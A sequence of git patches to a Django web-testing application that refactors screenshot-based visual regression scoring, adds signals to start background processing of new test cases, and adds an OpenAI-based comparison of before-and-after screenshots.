-                        # convert to array
-                        pre_img_array = numpy.array(pre_img)
-                        post_img_array = numpy.array(post_img)
-
-                        # detect keypoints and descriptors
-                        kp_a, desc_a = orb.detectAndCompute(pre_img_array, None)
-                        kp_b, desc_b = orb.detectAndCompute(post_img_array, None)
-
-                        # define the bruteforce matcher object
-                        bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)
-                            
-                        # perform matches. 
-                        matches = bf.match(desc_a, desc_b)
-
-                        # Look for similar regions with distance < 20. (from 0 to 100)
-                        similar_regions = [i for i in matches if i.distance < 20]  
-                        if len(matches) == 0:
-                            cv2_img_score = 100
-                        else:
-                            cv2_img_score = (len(similar_regions) / len(matches)) * 100
-                            # print(f'cv2 -> {cv2_img_score}')
-                            
-                        return cv2_img_score
+            # pixel perfect scoring
+            cv2_img_score = self.cv2_score(pre_img, post_img)
+
+            # weighted average
+            img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
+
+            # saving old images to test.id path
+            old_imgs = self.save_images(pre_img_info.get('id'), post_img_info.get('id'), i)
+            pre_img = old_imgs[0]
+            post_img = old_imgs[1]
+
+        except Exception as e:
+            print(e)
+            img_score = None
+            pre_img = None
+            post_img = None
+            pre_img_diff = None
+            post_img_diff = None
+
+        # create img test obj and add to array
+        img_test_obj = [{
+            "index": 0, 
+            "pre_img": pre_img,
+            "post_img": post_img,
+            "pre_img_diff": pre_img_diff, 
+            "post_img_diff": post_img_diff, 
+            "score": img_score,
+        }]
 
-                    except Exception as e:
-                        print(e)
+        # remove temp dir
+        shutil.rmtree(temp_root)
 
+        # formatting response
+        images_delta = {
+            "average_score": img_score,
+            "images": img_test_obj,
+        }
 
+        # returning response
+        return images_delta
 
-                # test images
-                try:
-                    # generating new highlighted images and score via ssim
-                    ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
-                    pre_img_diff = ssim_results['img_objs'][0]
-                    post_img_diff = ssim_results['img_objs'][1]
-                    
-                    # ssim scoring
-                    ssim_img_score =  ssim_results['ssim_score'] * 100
-
-                    # pillow scoring
-                    pil_img_score = pil_score(pre_img, post_img)
-                    
-                    # pixel perfect scoring
-                    cv2_img_score = cv2_score(pre_img, post_img)
-
-                    # weighted average
-                    img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
-
-                    # saving old images to test.id path
-                    old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
-                    pre_img = old_imgs[0]
-                    post_img = old_imgs[1]
-
-                except Exception as e:
-                    print(e)
-                    img_score = None
-                    pre_img = None
-                    post_img = None
-                    pre_img_diff = None
-                    post_img_diff = None
-
-                # create img test obj and add to array
-                img_test_obj = {
-                    "index": i, 
-                    "pre_img": pre_img,
-                    "post_img": post_img,
-                    "pre_img_diff": pre_img_diff, 
-                    "post_img_diff": post_img_diff, 
-                    "score": img_score,
-                }
-
-                img_test_results.append(img_test_obj)
-                scores.append(img_score)
-
-            # remove local copies
-            if post_img_obj is not None:
-                try:
-                    os.remove(post_img_path)
-                except Exception as e:
-                    print(e)
-            try:        
-                os.remove(pre_img_path)
-            except Exception as e:
-                print(e)
 
-            i += 1
 
-        # remove temp dir
-        shutil.rmtree(temp_root)
 
-        # averaging scores and storing in images_delta obj
+    def caserun_vrt(self, step: int=None, type: str=None) -> dict:
+        """
+        Compares the passed step.screenshot to the case.step.screenshot
+        and records a score out of 100%.
+
+        Compairsons used : 
+            - Structral Similarity Index (ssim)
+            - PIL ImageChop Differences, Ratio
+            - cv2 ORB Brute-force Matcher, Ratio
+
+        Expects: {
+            step : int, current step to test
+            type : str, "action" or "assertion"
+        }
+
+        Returns -> data: {
+            'average_score' : float(0-100),
+            'images'        : dict,
+        }
+        """
+
+        # default 
+        images_delta = {
+            "average_score": None,
+            "images": [{
+                "index": step, 
+                "pre_img": None,
+                "post_img": None,
+                "pre_img_diff": None, 
+                "post_img_diff": None, 
+                "score": None,
+            }],
+        }
+
+        # setup temp dirs
+        if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{self.caserun.id}')):
+            os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{self.caserun.id}'))
+        
+        # temp root
+        temp_root = os.path.join(settings.BASE_DIR, f'temp/{self.caserun.id}')
+        
+        # get image urls
+        case_image_url = requests.get(self.caserun.case.steps['url']).json()[step][type].get('image')
+        caserun_image_url = self.caserun.steps[step][type].get('image')
+
+        # catch null urls and return early
+        if case_image_url is None or caserun_image_url is None:
+            shutil.rmtree(temp_root)
+            return images_delta
+
+        # download images
+        case_img_info = self.download_image(case_image_url, temp_root)
+        caserun_img_info = self.download_image(caserun_image_url, temp_root)
+
+        # open images with PIL Image library
+        pre_img = I.open(case_img_info.get('local_path'))
+        post_img = I.open(caserun_img_info.get('local_path'))
+
+        # test images
         try:
-            avg_score = statistics.fmean(scores)
-        except:
-            avg_score = None
+            # generating new highlighted images and score via ssim
+            ssim_results = self.highlight_diffs(
+                temp_root, 
+                case_img_info.get('local_path'), 
+                caserun_img_info.get('local_path'), 
+                step
+            )
+            pre_img_diff = ssim_results['img_objs'][0]
+            post_img_diff = ssim_results['img_objs'][1]
+            
+            # ssim scoring
+            ssim_img_score =  ssim_results['ssim_score'] * 100
+
+            # pillow scoring
+            pil_img_score = self.pil_score(pre_img, post_img)
+            
+            # pixel perfect scoring
+            cv2_img_score = self.cv2_score(pre_img, post_img)
+
+            # weighted average
+            img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
+
+            # saving old images to caserun.id path
+            old_imgs = self.save_images(case_img_info.get('id'), caserun_img_info.get('id'), step)
+            pre_img = old_imgs[0]
+            post_img = old_imgs[1]
+
+        except Exception as e:
+            print(e)
+            img_score = None
+            pre_img = None
+            post_img = None
+            pre_img_diff = None
+            post_img_diff = None
+
+        # create img obj and add to array
+        img_obj = [{
+            "index": step, 
+            "pre_img": pre_img,
+            "post_img": post_img,
+            "pre_img_diff": pre_img_diff, 
+            "post_img_diff": post_img_diff, 
+            "score": img_score,
+        }]
+
+        # remove temp dir
+        shutil.rmtree(temp_root)
 
         # formatting response
         images_delta = {
-            "average_score": avg_score,
-            "images": img_test_results,
+            "average_score": img_score,
+            "images": img_obj,
         }
 
         # returning response
@@ -675,3 +838,4 @@ def cv2_score(pre_img, post_img):
 
 
 
+

From 1dcc41a40ced568db62510df0f8d5c15e87587e6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:15:13 -0700
Subject: [PATCH 0838/1099] update: adding processing for all generated Cases

---
 app/api/signals.py         | 34 ++++++++++++++++++++++++++++++++++
 app/api/utils/autocaser.py |  3 +--
 2 files changed, 35 insertions(+), 2 deletions(-)

diff --git a/app/api/signals.py b/app/api/signals.py
index d799cdca..72a9bd39 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -1,6 +1,7 @@
 from django.db.models.signals import post_save
 from django.dispatch import receiver
 from .utils.flowr import Flowr
+from .tasks import case_pre_run_bg
 from .models import *
 from cursion import settings
 
@@ -23,4 +24,37 @@ def flowrun_created(sender, instance, created, **kwargs):
 
     # return None
     return None
+
+
+
+
+@receiver(post_save, sender=Case)
+def case_created(sender, instance, created, **kwargs):
+    
+    # defing instance as new case
+    case = instance
+    
+    # check location and created
+    if settings.LOCATION == 'us' and created:
+
+        # check if Case has processed
+        if not case.processed:
+
+            # create process objw
+            process = Process.objects.create(
+                site=case.site,
+                type='case.pre_run',
+                object_id=str(case.id),
+                account=case.account,
+                progress=1
+            )
+
+            # start pre_run for new Case
+            case_pre_run_bg.delay(
+                case_id=str(case.id),
+                process_id=str(process.id)
+            )
+
+    # return None
+    return None
         
\ No newline at end of file
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 1e58caa3..0400743f 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -717,7 +717,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
 
 
-
     def get_elements(self) -> list:
 
         # get site page
@@ -1129,7 +1128,7 @@ def sub_element_mapping(elements, steps):
                 account     = self.site.account,
                 title       = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
                 type        = "generated",
-                processed   = True,
+                processed   = False,
                 steps       = {
                     'url':  steps_url,
                     'num_steps': len(steps)

From 380822f7cfd189952fe9328b53c9bf1696cf732c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:16:03 -0700
Subject: [PATCH 0839/1099] routine: fixing in-code docs

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 92d2d0a8..e650a0ea 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1849,7 +1849,7 @@ def case_pre_run_bg(
         process_id: str=None,
     ) -> None:
     """ 
-    Runs
+    Runs Caser.pre_run() for the passed case_id
 
     Expects: {
         case_id    : str,

From d145821df40c33cf2659b9e3eab2c37dfb8964da Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:17:00 -0700
Subject: [PATCH 0840/1099] update: adding pydantic for OpenAI API calls

---
 setup/requirements/requirements.txt | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index f3d17da3..57156b1d 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -33,6 +33,7 @@ Pillow==10.3.0
 prometheus-client==0.8.0
 prompt-toolkit==3.0.43
 psycopg2==2.9.9
+pydantic==2.10.6
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3

From 751bf4d60bce8034bcfdb428eed1c103712f4533 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:17:56 -0700
Subject: [PATCH 0841/1099] update: adjusted for refactored Imager

---
 app/api/utils/tester.py | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index e587e8ed..cdfc1e84 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -715,14 +715,12 @@ def save_data_to_s3(self, _data: dict) -> str:
 
 
 
-    def run_test(self, index: int=None) -> object:
+    def run_test(self) -> object:
         """ 
         Runs all the test components specified in the `Test`
         and returns the updated `Test`
 
-        Expects: {
-            'index': int
-        }
+        Expects: None
 
         Returns -> `Test` object
         """
@@ -877,7 +875,7 @@ def run_test(self, index: int=None) -> object:
         if 'vrt' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
-                images_data = Imager().test_vrt(test=self.test, index=index)
+                images_data = Imager(test=self.test).test_vrt()
                 if images_data['average_score'] != None:
                     images_score = images_data['average_score'] / 100
 

From d33ecd4cd5cb3f8998ba992cddacb88c21e32a3e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:19:04 -0700
Subject: [PATCH 0842/1099] update: removed Caser init in favor of signals

---
 app/api/v1/ops/services.py | 18 +++---------------
 1 file changed, 3 insertions(+), 15 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 4887adb8..a786f44f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -4751,21 +4751,9 @@ def create_or_update_case(request: object=None) -> object:
             
         )
 
-        # create process obj
-        process = Process.objects.create(
-            site=site,
-            type='case.pre_run',
-            object_id=str(case.id),
-            account=account,
-            progress=1
-        )
-
-        # start pre_run for new Case
-        case_pre_run_bg.delay(
-            case_id=str(case.id),
-            process_id=str(process.id)
-        )
-
+        # signals.py will pickup 'created' instance
+        # and run Caser().pre_run() in background
+        
     # serialize and return
     serializer_context = {'request': request,}
     data = CaseSerializer(case, context=serializer_context).data

From 1876eceec19a2d0b52591a8c367769630ae1b9c4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:20:06 -0700
Subject: [PATCH 0843/1099] feature: adding VRT to all CaseRun steps

---
 app/api/utils/caser.py | 142 ++++++++++++++++++++++++++++++++---------
 1 file changed, 113 insertions(+), 29 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index cb213d11..33e16302 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -5,6 +5,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from .issuer import Issuer
 from .updater import update_flowrun
+from .imager import Imager
 from ..models import * 
 from cursion import settings
 from datetime import datetime, timezone
@@ -156,9 +157,17 @@ def decrypt_secret(value):
 
 
     def update_caserun(
-            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
-            status: str=None, exception: str=None, time_completed: str=None, image: str=None,
+            self, 
+            index: str=None, 
+            type: str=None, 
+            start_time: str=None, 
+            end_time: str=None, 
+            status: str=None, 
+            exception: str=None, 
+            time_completed: str=None, 
+            image: str=None,
         ) -> None:
+
         # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.caserun.steps[index][type]['time_created'] = str(start_time)
@@ -180,8 +189,38 @@ def update_caserun(
                     run_status = 'failed'
             self.caserun.status = run_status
         
+        # save caserun
         self.caserun.save()
-        return
+
+        # compare image if image was passed
+        if image is not None:
+            self.compare_images(index=index, type=type)
+
+        return None
+
+
+    
+
+    def compare_images(self, index: int=None, type: str=None) -> None:
+        """ 
+        Using Imager.caserun_vrt compare the step.screeshot 
+        to the Case baseline.
+
+        Expects: {
+            'index' : int, step index
+            'type'  : str, 'action' or 'assertion'
+        }
+
+        Returns: None
+        """
+        # run Imager
+        image_delta_obj = Imager(caserun=self.caserun).caserun_vrt(step=index, type=type)
+
+        # update caserun
+        self.caserun.steps[index][type]['image_delta'] = image_delta_obj
+        self.caserun.save()
+
+        return None
 
 
 
@@ -198,7 +237,7 @@ def update_process(
         number of steps expected - then updates self.process
         with the info.
 
-        Expcets: {
+        Expects: {
             current     : int, 
             total       : int, 
             complete    : bool=False, 
@@ -233,10 +272,14 @@ def format_element(self, element: object) -> str:
 
 
 
-    def save_screenshot(self) -> str:
+    def save_screenshot(self, run_type: str=None) -> str:
         """
-        Grabs & uploads a screenshot of the `page` 
-        passed in the params. 
+        Grabs & uploads a screenshot of the active `page` 
+        self.driver is working on. 
+
+        Expects: {
+            run_type: str, 'run' or 'pre_run'
+        }
 
         Returns -> `image_url` <str:remote path to image>
         """
@@ -257,7 +300,12 @@ def save_screenshot(self) -> str:
 
         # seting up paths
         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
+        
+        if run_type == 'run':
+            remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
+        if run_type == 'pre_run':
+            remote_path = f'static/case/{self.case.id}/{pic_id}.png'
+
         root_path = settings.AWS_S3_URL_PATH
         image_url = f'{root_path}/{remote_path}'
     
@@ -506,10 +554,10 @@ def run(self) -> None:
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     msg = excaption
                     status = 'failed'
@@ -561,10 +609,10 @@ def run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get image
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     status = 'failed'
 
@@ -629,10 +677,10 @@ def run(self) -> None:
                     # clicking element
                     element.click()
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     status = 'failed'
 
@@ -698,10 +746,10 @@ def run(self) -> None:
                     value = self.transpose_data(step["action"]["value"])
                     element.send_keys(value)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     status = 'failed'
                 
@@ -776,10 +824,10 @@ def run(self) -> None:
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     status = 'failed'
 
@@ -852,10 +900,10 @@ def run(self) -> None:
                         raise AssertionError(f'innerText of element "{selector}" does match expected')
                     
                     # save screenshot
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     status = 'failed'
 
@@ -917,10 +965,10 @@ def run(self) -> None:
                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
 
                 except Exception as e:
-                    image = self.save_screenshot()
+                    image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
                     status = 'failed'
 
@@ -981,7 +1029,7 @@ def run(self) -> None:
     def pre_run(self) -> None:
         """
         Runs the self.case using selenium as the driver
-        and tries to collect element img data.
+        and tries to collect element img & screenshot data.
 
         Returns -> None
         """
@@ -1019,6 +1067,11 @@ def pre_run(self) -> None:
                 except Exception as e:
                     print(e)
 
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['action']['image'] = img_url
+
+
             
             if step['action']['type'] == 'scroll':
                 try:
@@ -1029,6 +1082,10 @@ def pre_run(self) -> None:
                 
                 except Exception as e:
                     print(e)
+                
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['action']['image'] = img_url
         
             
             if step['action']['type'] == 'click':
@@ -1051,8 +1108,9 @@ def pre_run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get elem img & update self.steps
-                    img = self.get_element_image(element)
-                    self.steps[i]['action']['img'] = img
+                    if not self.steps[i]['action'].get('img'):
+                        img = self.get_element_image(element)
+                        self.steps[i]['action']['img'] = img
 
                     # clicking element
                     element.click()
@@ -1060,6 +1118,10 @@ def pre_run(self) -> None:
                 
                 except Exception as e:
                     print(e)
+
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['action']['image'] = img_url
         
         
             if step['action']['type'] == 'change':
@@ -1082,8 +1144,9 @@ def pre_run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get elem img & update self.steps
-                    img = self.get_element_image(element)
-                    self.steps[i]['action']['img'] = img
+                    if not self.steps[i]['action'].get('img'):
+                        img = self.get_element_image(element)
+                        self.steps[i]['action']['img'] = img
 
                     # changing value of element
                     value = step["action"]["value"]
@@ -1093,6 +1156,10 @@ def pre_run(self) -> None:
                 except Exception as e:
                     print(e)
 
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['action']['image'] = img_url
+
 
             if step['action']['type'] == 'keyDown':
                 try:
@@ -1124,8 +1191,9 @@ def pre_run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get elem img & update self.steps
-                    img = self.get_element_image(element)
-                    self.steps[i]['action']['img'] = img
+                    if not self.steps[i]['action'].get('img'):
+                        img = self.get_element_image(element)
+                        self.steps[i]['action']['img'] = img
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -1134,6 +1202,22 @@ def pre_run(self) -> None:
                 except Exception as e:
                     print(e)
 
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['action']['image'] = img_url
+
+
+            if step['assertion']['type'] == 'match':
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['assertion']['image'] = img_url
+
+            
+            if step['assertion']['type'] == 'exists':
+                # get screenshot and save
+                img_url = self.save_screenshot(run_type='pre_run')
+                self.steps[i]['assertion']['image'] = img_url
+            
 
             # increment step
             i += 1  

From 020c9ba7a2b6b9e849a3b3dd2c1d7c10f9803736 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 24 Jan 2025 15:20:42 -0700
Subject: [PATCH 0844/1099] feature: adding A.I. analysis to VRT

---
 app/api/utils/imager.py | 100 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 100 insertions(+)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 93148d89..701fb2d6 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -5,6 +5,8 @@
 from PIL import Image as I, ImageChops, ImageStat
 from datetime import datetime
 from asgiref.sync import sync_to_async
+from openai import OpenAI
+from pydantic import BaseModel
 import time, os, sys, json, uuid, boto3, \
     statistics, shutil, numpy, cv2, requests
 
@@ -405,6 +407,91 @@ def cv2_score(
 
 
 
+    def ai_compare(
+            self, 
+            pre_img_url: str=None, 
+            post_img_url: str=None,
+            score: float=None
+        ) -> dict:
+        """ 
+        Using OpenAI, compares the two images and 
+        provides a summary and boolean for 'broken'
+
+        Expects: {
+            pre_img_url     : str,
+            post_img_url    : str,
+            score           : float
+        }
+
+        Returns: {
+            'summary': str,
+            'broken': bool
+        }
+        """
+
+        # define output as object (JSON)
+        class Result(BaseModel):
+            summary: str
+            broken: bool
+
+        # init client
+        gpt_client = OpenAI(api_key=settings.GPT_API_KEY,)
+        
+        # send request
+        response = gpt_client.beta.chat.completions.parse(
+            model="gpt-4o-mini",
+            messages=[
+                {
+                    "role": "user",
+                    "content": [
+                        {
+                            "type": "text",
+                            "text": f"Attached are two screenshots of the same website. \
+                            I've added green boxes arround the areas that have changed between the two images. \
+                            The green boxes may not be present if there are no changes. \
+                            I've calculated the Visual Regression Similararity Score to be {score}% similar. \
+                            Please perform a Visual Regression Analysis of the two images. \
+                            Respond with a few sentance summary about what has changed (images, buttons, text, ect)  \
+                            and a boolean that is TRUE if the page should be considered broken. \
+                            Omit any reference to the green boxes in your response. \
+                            Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
+                        },
+                        {
+                            "type": "image_url",
+                            "image_url": {
+                                "url": pre_img_url,
+                            },
+                        },
+                        {
+                            "type": "image_url",
+                            "image_url": {
+                                "url": pre_img_url,
+                            },
+                        },
+                    ],
+                }
+            ],
+            response_format=Result
+        )
+
+        try:
+            result = response.choices[0].message.parsed
+            result = {
+                'summary': result.summary, 
+                'broken': result.broken
+            }
+        except:
+            result = {
+                'summary': None, 
+                'broken': None
+            }
+
+        print(result)
+        return result
+
+
+
+
     def scan_vrt(self, driver: object=None) -> list:
         """
         Grabs full length screenshots of the website and uploads 
@@ -684,6 +771,15 @@ def test_vrt(self) -> dict:
             pre_img = old_imgs[0]
             post_img = old_imgs[1]
 
+            # running AI comparison
+            resp = self.ai_compare(
+                pre_img_diff.get('url'), 
+                post_img_diff.get('url'), 
+                ssim_img_score
+            )
+            ai_summary = resp.get('summary')
+            broken = resp.get('broken')
+
         except Exception as e:
             print(e)
             img_score = None
@@ -691,6 +787,8 @@ def test_vrt(self) -> dict:
             post_img = None
             pre_img_diff = None
             post_img_diff = None
+            ai_summary = None
+            broken = None
 
         # create img test obj and add to array
         img_test_obj = [{
@@ -709,6 +807,8 @@ def test_vrt(self) -> dict:
         images_delta = {
             "average_score": img_score,
             "images": img_test_obj,
+            "ai_summary": ai_summary,
+            "broken": broken
         }
 
         # returning response

From d61d84d1e4cc36cfadc4e8723c0153769e16b209 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 Jan 2025 10:52:03 -0700
Subject: [PATCH 0845/1099] update: increasing the sensitivity for ai_compare

---
 app/api/utils/imager.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 701fb2d6..b53a467a 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -453,6 +453,8 @@ class Result(BaseModel):
                             Please perform a Visual Regression Analysis of the two images. \
                             Respond with a few sentance summary about what has changed (images, buttons, text, ect)  \
                             and a boolean that is TRUE if the page should be considered broken. \
+                            Please be fairly strict with the analysis. \
+                            Also consider any emerging text that could be considered raw code (html) to be a 'breaking change' \
                             Omit any reference to the green boxes in your response. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
                         },

From 5bb59df1ea8723bd091e4e5514354ac688a9b480 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 Jan 2025 11:01:57 -0700
Subject: [PATCH 0846/1099] update: increasing the sensitivity for ai_compare

---
 app/api/utils/imager.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index b53a467a..6046999d 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -449,12 +449,13 @@ class Result(BaseModel):
                             "text": f"Attached are two screenshots of the same website. \
                             I've added green boxes arround the areas that have changed between the two images. \
                             The green boxes may not be present if there are no changes. \
-                            I've calculated the Visual Regression Similararity Score to be {score}% similar. \
+                            I've calculated the Visual Regression SSIM score to be {score}% similar. \
                             Please perform a Visual Regression Analysis of the two images. \
                             Respond with a few sentance summary about what has changed (images, buttons, text, ect)  \
                             and a boolean that is TRUE if the page should be considered broken. \
                             Please be fairly strict with the analysis. \
-                            Also consider any emerging text that could be considered raw code (html) to be a 'breaking change' \
+                            Also consider any emerging text (not present in the first image, but shows in the second image) \
+                            that looks like raw code (html) to be a 'breaking change' \
                             Omit any reference to the green boxes in your response. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
                         },

From a8ab148bedfb6f2ec1733f50f8879aa07bc13210 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 Jan 2025 11:31:10 -0700
Subject: [PATCH 0847/1099] update: adjusting strictness of AI Compare

---
 app/api/utils/imager.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 6046999d..024a5a84 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -454,8 +454,8 @@ class Result(BaseModel):
                             Respond with a few sentance summary about what has changed (images, buttons, text, ect)  \
                             and a boolean that is TRUE if the page should be considered broken. \
                             Please be fairly strict with the analysis. \
-                            Also consider any emerging text (not present in the first image, but shows in the second image) \
-                            that looks like raw code (html) to be a 'breaking change' \
+                            Also consider any emerging text that looks like raw code (html) to be a 'breaking change'. \
+                            If the same text or code is present in both images, then DO NOT consider it a 'breaking change'. \
                             Omit any reference to the green boxes in your response. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
                         },

From dd3a4af90e10a9e9552b9e8b74b396833a0c17fb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 14:44:01 -0700
Subject: [PATCH 0848/1099] fix: added reset for data when updating scores

---
 app/api/tasks.py | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e650a0ea..c74540ee 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -9,6 +9,7 @@
 from .utils.alerter import Alerter
 from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
+from .utils.issuer import Issuer
 from .utils.exporter import create_and_send_report_export
 from .utils.scanner import (
     _html_and_logs, _vrt, _lighthouse, 
@@ -478,8 +479,6 @@ def update_site_and_page_info(
     pages = []
     scans = []
     tests = []
-    latest_test = None
-    latest_scan = None
 
     # get associated site
     if site_id:
@@ -495,6 +494,10 @@ def update_site_and_page_info(
     # get latest tests & scans of pages
     for p in pages:
 
+        # set defaults
+        latest_scan = None
+        latest_test = None
+
         if Test.objects.filter(page=p).exists() and \
             (resource == 'test' or resource == 'all'):
             _test = Test.objects.filter(page=p).exclude(
@@ -507,7 +510,7 @@ def update_site_and_page_info(
                     # update latest_test
                     latest_test = _test[0]
         
-        if Scan.objects.filter(page=p).exists()and \
+        if Scan.objects.filter(page=p).exists() and \
             (resource == 'scan' or resource == 'all'):
             _scan = Scan.objects.filter(page=p).exclude(
                 time_completed=None
@@ -521,9 +524,9 @@ def update_site_and_page_info(
         
         # update single page if passed
         if page:
-            
+
             # checking if current p is page
-            if page == p:
+            if page.id == p.id:
 
                 # latest_scan info
                 if latest_scan:
@@ -533,6 +536,7 @@ def update_site_and_page_info(
                     page.info['latest_scan']['score'] = latest_scan.score
                     page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
                     page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
+                    print(f'updating {page.page_url} with scan.score -> {latest_scan.score}')
                 if latest_scan is None and (resource == 'scan' or resource == 'all'):
                     page.info['latest_scan']['id'] = None
                     page.info['latest_scan']['time_created'] = None
@@ -540,6 +544,7 @@ def update_site_and_page_info(
                     page.info['latest_scan']['score'] = None
                     page.info['lighthouse'] = None
